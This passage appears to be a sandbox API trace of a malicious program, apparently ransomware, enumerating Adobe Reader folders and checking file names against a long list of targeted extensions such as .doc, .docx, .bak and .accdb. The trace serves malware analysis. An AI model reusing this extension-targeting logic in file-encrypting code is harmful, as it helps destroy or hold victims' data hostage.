lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.757] lstrlenW (lpString=".accdw") returned 6 [0266.757] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.757] lstrlenW (lpString=".adb") returned 4 [0266.757] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.757] lstrlenW (lpString=".adp") returned 4 [0266.757] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.757] lstrlenW (lpString=".ai") returned 3 [0266.757] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.757] lstrlenW (lpString=".ai3") returned 4 [0266.757] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.757] lstrlenW (lpString=".ai4") returned 4 [0266.757] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.757] lstrlenW (lpString=".ai5") returned 4 [0266.757] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.758] lstrlenW (lpString=".ai6") returned 4 [0266.758] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.758] lstrlenW (lpString=".ai7") returned 4 [0266.758] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.758] lstrlenW (lpString=".ai8") returned 4 [0266.758] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.758] lstrlenW (lpString=".anim") returned 5 [0266.758] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.758] lstrlenW (lpString=".arw") returned 4 [0266.758] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.758] lstrlenW (lpString=".as") returned 3 [0266.758] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.758] lstrlenW (lpString=".asa") returned 4 [0266.758] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.758] lstrlenW (lpString=".asc") returned 4 [0266.758] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.758] lstrlenW (lpString=".ascx") returned 5 [0266.758] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.758] lstrlenW (lpString=".asm") returned 4 [0266.758] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.759] lstrlenW (lpString=".asmx") returned 5 [0266.759] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.759] lstrlenW (lpString=".asp") returned 4 [0266.759] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.759] lstrlenW (lpString=".aspx") returned 5 [0266.759] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.759] lstrlenW (lpString=".asr") returned 4 [0266.759] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.759] lstrlenW (lpString=".asx") returned 4 [0266.759] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.759] lstrlenW (lpString=".avi") returned 4 [0266.759] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.759] lstrlenW (lpString=".avs") returned 4 [0266.759] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.759] lstrlenW (lpString=".backup") returned 7 [0266.759] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.759] lstrlenW (lpString=".bak") returned 4 [0266.759] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.759] lstrlenW (lpString=".bay") returned 4 [0266.759] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.759] lstrlenW (lpString=".bd") returned 3 [0266.759] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.759] lstrlenW (lpString=".bin") returned 4 [0266.759] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.759] lstrlenW (lpString=".bmp") returned 4 [0266.759] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.760] lstrlenW (lpString=".bz2") returned 4 [0266.760] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.760] lstrlenW (lpString=".c") returned 2 [0266.760] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.760] lstrlenW (lpString=".cdr") returned 4 [0266.760] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.760] lstrlenW (lpString=".cer") returned 4 [0266.760] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.760] lstrlenW (lpString=".cf") returned 3 [0266.760] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.760] lstrlenW (lpString=".cfc") returned 4 [0266.760] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.760] lstrlenW (lpString=".cfm") returned 4 [0266.760] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.760] lstrlenW (lpString=".cfml") returned 5 [0266.760] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.760] lstrlenW (lpString=".cfu") returned 4 [0266.760] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.760] lstrlenW (lpString=".chm") returned 4 [0266.760] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".cin") returned 4 [0266.761] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".class") returned 6 [0266.761] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.761] lstrlenW (lpString=".clx") returned 4 [0266.761] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".config") returned 7 [0266.761] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.761] lstrlenW (lpString=".cpp") returned 4 [0266.761] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".cr2") returned 4 [0266.761] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".crt") returned 4 [0266.761] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".crw") returned 4 [0266.761] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".cs") returned 3 [0266.761] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.761] lstrlenW (lpString=".css") returned 4 [0266.761] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".csv") returned 4 [0266.761] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".cub") returned 4 [0266.761] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.761] lstrlenW (lpString=".dae") returned 4 [0266.761] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".dat") returned 4 [0266.762] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".db") returned 3 [0266.762] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.762] lstrlenW (lpString=".dbf") returned 4 [0266.762] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".dbx") returned 4 [0266.762] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".dc3") returned 4 [0266.762] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".dcm") returned 4 [0266.762] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".dcr") returned 4 [0266.762] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".der") returned 4 [0266.762] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".dib") returned 4 [0266.762] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".dic") returned 4 [0266.762] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".dif") returned 4 [0266.762] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.762] lstrlenW (lpString=".divx") returned 5 [0266.762] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.762] lstrlenW (lpString=".djvu") returned 5 [0266.763] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.763] lstrlenW (lpString=".dng") returned 4 [0266.763] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.763] lstrlenW (lpString=".doc") returned 4 [0266.763] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.763] lstrlenW (lpString=".docm") returned 5 [0266.763] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.763] lstrlenW (lpString=".docx") returned 5 [0266.763] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.763] lstrlenW (lpString=".dot") returned 4 [0266.763] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.763] lstrlenW (lpString=".dotm") returned 5 [0266.763] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.763] lstrlenW (lpString=".dotx") returned 5 [0266.763] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.763] lstrlenW (lpString=".dpx") returned 4 [0266.763] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.763] lstrlenW (lpString=".dqy") returned 4 [0266.763] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.763] lstrlenW (lpString=".dsn") returned 4 [0266.763] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.763] lstrlenW (lpString=".dt") returned 3 [0266.763] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.763] lstrlenW (lpString=".dtd") returned 4 [0266.763] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".dwg") returned 4 [0266.764] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".dwt") returned 4 [0266.764] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".dx") returned 3 [0266.764] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.764] lstrlenW (lpString=".dxf") returned 4 [0266.764] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".edml") returned 5 [0266.764] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.764] lstrlenW (lpString=".efd") returned 4 [0266.764] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".elf") returned 4 [0266.764] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".emf") returned 4 [0266.764] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".emz") returned 4 [0266.764] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".epf") returned 4 [0266.764] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".eps") returned 4 [0266.764] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.764] lstrlenW (lpString=".epsf") returned 5 [0266.764] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.764] lstrlenW (lpString=".epsp") returned 5 [0266.765] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.765] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.765] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0266.765] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.765] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0266.765] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.765] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\tr-tr\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0266.766] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.766] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.766] lstrlenW (lpString="ui-strings.js") returned 13 [0266.766] lstrlenW (lpString=".1cd") returned 4 [0266.766] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.766] lstrlenW (lpString=".3ds") returned 4 [0266.766] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.766] lstrlenW (lpString=".3fr") returned 4 [0266.766] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.766] lstrlenW (lpString=".3g2") returned 4 [0266.766] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.767] lstrlenW (lpString=".3gp") returned 4 [0266.767] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.767] lstrlenW (lpString=".7z") returned 3 [0266.767] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.767] lstrlenW (lpString=".accda") returned 6 [0266.767] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.767] lstrlenW (lpString=".accdb") returned 6 [0266.767] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.767] lstrlenW (lpString=".accdc") returned 6 [0266.767] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.767] lstrlenW (lpString=".accde") returned 6 [0266.767] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.767] lstrlenW (lpString=".accdt") returned 6 [0266.767] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.767] lstrlenW (lpString=".accdw") returned 6 [0266.767] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.767] lstrlenW (lpString=".adb") returned 4 [0266.767] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.767] lstrlenW (lpString=".adp") returned 4 [0266.767] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.767] lstrlenW (lpString=".ai") returned 3 [0266.768] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.768] lstrlenW (lpString=".ai3") returned 4 [0266.768] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.768] lstrlenW (lpString=".ai4") returned 4 [0266.768] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.768] lstrlenW (lpString=".ai5") returned 4 [0266.768] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0266.768] lstrlenW (lpString=".ai6") returned 4 [0266.768] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0266.768] lstrlenW (lpString=".ai7") returned 4 [0266.768] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0266.768] lstrlenW (lpString=".ai8") returned 4 [0266.768] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0266.768] lstrlenW (lpString=".anim") returned 5 [0266.768] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0266.768] lstrlenW (lpString=".arw") returned 4 [0266.768] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0266.768] lstrlenW (lpString=".as") returned 3 [0266.768] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0266.768] lstrlenW (lpString=".asa") returned 4 [0266.768] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0266.769] lstrlenW (lpString=".asc") returned 4 [0266.769] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0266.769] lstrlenW (lpString=".ascx") returned 5 [0266.769] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0266.769] lstrlenW (lpString=".asm") returned 4 [0266.769] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0266.769] lstrlenW (lpString=".asmx") returned 5 [0266.769] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0266.769] lstrlenW (lpString=".asp") returned 4 [0266.769] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0266.769] lstrlenW (lpString=".aspx") returned 5 [0266.769] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0266.769] lstrlenW (lpString=".asr") returned 4 [0266.769] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0266.769] lstrlenW (lpString=".asx") returned 4 [0266.769] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0266.769] lstrlenW (lpString=".avi") returned 4 [0266.769] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0266.769] lstrlenW (lpString=".avs") returned 4 [0266.769] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0266.769] lstrlenW (lpString=".backup") returned 7 [0266.769] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0266.769] lstrlenW (lpString=".bak") returned 4 [0266.769] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0266.769] lstrlenW (lpString=".bay") returned 4 [0266.769] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0266.770] lstrlenW (lpString=".bd") returned 3 [0266.770] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0266.770] lstrlenW (lpString=".bin") returned 4 [0266.770] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0266.770] lstrlenW (lpString=".bmp") returned 4 [0266.770] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0266.770] lstrlenW (lpString=".bz2") returned 4 [0266.770] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0266.770] lstrlenW (lpString=".c") returned 2 [0266.770] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0266.770] lstrlenW (lpString=".cdr") returned 4 [0266.770] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0266.770] lstrlenW (lpString=".cer") returned 4 [0266.770] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0266.770] lstrlenW (lpString=".cf") returned 3 [0266.770] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0266.770] lstrlenW (lpString=".cfc") returned 4 [0266.770] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0266.770] lstrlenW (lpString=".cfm") returned 4 [0266.771] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0266.771] lstrlenW (lpString=".cfml") returned 5 [0266.771] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0266.771] lstrlenW (lpString=".cfu") returned 4 [0266.771] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0266.771] lstrlenW (lpString=".chm") returned 4 [0266.771] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0266.771] lstrlenW (lpString=".cin") returned 4 [0266.771] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0266.771] lstrlenW (lpString=".class") returned 6 [0266.771] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0266.771] lstrlenW (lpString=".clx") returned 4 [0266.771] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0266.771] lstrlenW (lpString=".config") returned 7 [0266.771] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0266.771] lstrlenW (lpString=".cpp") returned 4 [0266.771] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0266.771] lstrlenW (lpString=".cr2") returned 4 [0266.771] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0266.771] lstrlenW (lpString=".crt") returned 4 [0266.771] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.771] lstrlenW (lpString=".crw") returned 4 [0266.771] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".cs") returned 3 [0266.772] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.772] lstrlenW (lpString=".css") returned 4 [0266.772] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".csv") returned 4 [0266.772] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".cub") returned 4 [0266.772] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".dae") returned 4 [0266.772] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".dat") returned 4 [0266.772] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".db") returned 3 [0266.772] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.772] lstrlenW (lpString=".dbf") returned 4 [0266.772] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".dbx") returned 4 [0266.772] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".dc3") returned 4 [0266.772] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".dcm") returned 4 [0266.772] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".dcr") returned 4 [0266.772] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.772] lstrlenW (lpString=".der") returned 4 [0266.773] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.773] lstrlenW (lpString=".dib") returned 4 [0266.773] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.773] lstrlenW (lpString=".dic") returned 4 [0266.773] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.773] lstrlenW (lpString=".dif") returned 4 [0266.773] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.773] lstrlenW (lpString=".divx") returned 5 [0266.773] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.773] lstrlenW (lpString=".djvu") returned 5 [0266.773] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.773] lstrlenW (lpString=".dng") returned 4 [0266.773] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.773] lstrlenW (lpString=".doc") returned 4 [0266.773] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.773] lstrlenW (lpString=".docm") returned 5 [0266.773] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.773] lstrlenW (lpString=".docx") returned 5 [0266.773] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.773] lstrlenW (lpString=".dot") returned 4 [0266.773] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.773] lstrlenW (lpString=".dotm") returned 5 [0266.773] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.773] lstrlenW (lpString=".dotx") returned 5 [0266.774] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.774] lstrlenW (lpString=".dpx") returned 4 [0266.774] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.774] lstrlenW (lpString=".dqy") returned 4 [0266.774] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.774] lstrlenW (lpString=".dsn") returned 4 [0266.774] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.774] lstrlenW (lpString=".dt") returned 3 [0266.774] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.774] lstrlenW (lpString=".dtd") returned 4 [0266.774] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.774] lstrlenW (lpString=".dwg") returned 4 [0266.774] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.774] lstrlenW (lpString=".dwt") returned 4 [0266.774] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.774] lstrlenW (lpString=".dx") returned 3 [0266.774] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.774] lstrlenW (lpString=".dxf") returned 4 [0266.774] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.774] lstrlenW (lpString=".edml") returned 5 [0266.774] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.774] lstrlenW (lpString=".efd") returned 4 [0266.774] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.774] lstrlenW (lpString=".elf") returned 4 [0266.774] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.774] lstrlenW (lpString=".emf") returned 4 [0266.775] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.775] lstrlenW (lpString=".emz") returned 4 [0266.775] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.775] lstrlenW (lpString=".epf") returned 4 [0266.775] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.775] lstrlenW (lpString=".eps") returned 4 [0266.775] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.775] lstrlenW (lpString=".epsf") returned 5 [0266.775] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.775] lstrlenW (lpString=".epsp") returned 5 [0266.775] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.775] lstrlenW (lpString=".erf") returned 4 [0266.775] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.775] lstrlenW (lpString=".exr") returned 4 [0266.775] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.775] lstrlenW (lpString=".f4v") returned 4 [0266.775] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.775] lstrlenW (lpString=".fido") returned 5 [0266.775] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.775] lstrlenW (lpString=".flm") returned 4 [0266.775] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.775] lstrlenW (lpString=".flv") returned 4 [0266.775] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.775] lstrlenW (lpString=".frm") returned 4 [0266.775] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".fxg") returned 4 [0266.776] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".geo") returned 4 [0266.776] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.776] lstrlenW (lpString=".gif") 